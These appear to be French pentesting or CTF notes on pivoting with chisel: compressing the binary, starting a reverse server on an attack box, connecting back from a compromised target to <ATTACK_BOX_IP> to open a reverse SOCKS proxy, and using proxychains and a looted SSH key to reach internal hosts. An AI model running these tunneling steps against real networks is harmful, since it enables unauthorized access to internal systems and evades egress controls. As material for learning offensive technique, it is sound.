Via chisel
Installation et réduction de la taille
git clone https://github.com/jpillora/chisel.git
cd chisel
# stripping
go build -ldflags="-s -w" # réduction de 10 Mo à 6 Mo
# sinon "static linking" (rend plus portable mais plus gros)
go build -gccgoflags="-s -w --static"
# compression
upx brute chisel # réduction de 6 à 1.5Mo
Attackbox
On commence par lancer un serveur sur notre machine (on veut que le client chisel se connecte à nous car en général les connexions sortantes sont autorisées mais pas le contraire. C'est un peu l'équivalent du côté "reverse" d'un reverse shell)
chisel server -p 443 --reverse
Cible
On lance chisel en mode client (pour qu'il se connecte à notre serveur).
Une fois lancé, on souhaite qu'il exécute un serveur socks5.
En principe, un serveur socks s'exécute côté serveur, mais dans notre cas, on souhaite que le serveur socks s'exécute sur notre cible (donc côté client).
On utilisera pour ce faire le R
qui signifit "reverse" pour inverser le sens du tunnel.
On aura donc un serveur socks qui s'exécutera sur notre client et qui sera accessible depuis notre serveur sur un port qui, par défaut, sera le 1080.
# écoutera sur le port par défaut (1080) du serveur (attaquant)
chisel client <ATTACK_BOX_IP>:443 R:socks
# si on souhaite modifier le port par défaut :
chisel client <ATTACK_BOX_IP>:443 R:socks:1234
Utilisation
On se connectera en utlisant proxychain
.
On commence par modifier le fichier de configuration /etc/proxychains4.conf
et ajouter à la fin la section :
[ProxyList]
socks5 127.0.0.1 1080
# on peut éventuellement chainer les proxy socks sur lesquels rebondir en ajouter d'autres lignes à la suite
Une fois configuré, il ne reste plus qu'à préfixer nos commandes favorites de proxychain
:
# Connexion SSH via le tunnel socks
proxychains ssh user@<IP_HOTE_ACCESSIBLE_DANS_LE_LAN_DE_NOTRE_CIBLE>
chisel server -p 443 --reverse
ssh webadmin@$TARGET_IP -i loot/id_rsa1 -D 1080 -R 1234:0.0.0.0:443 -v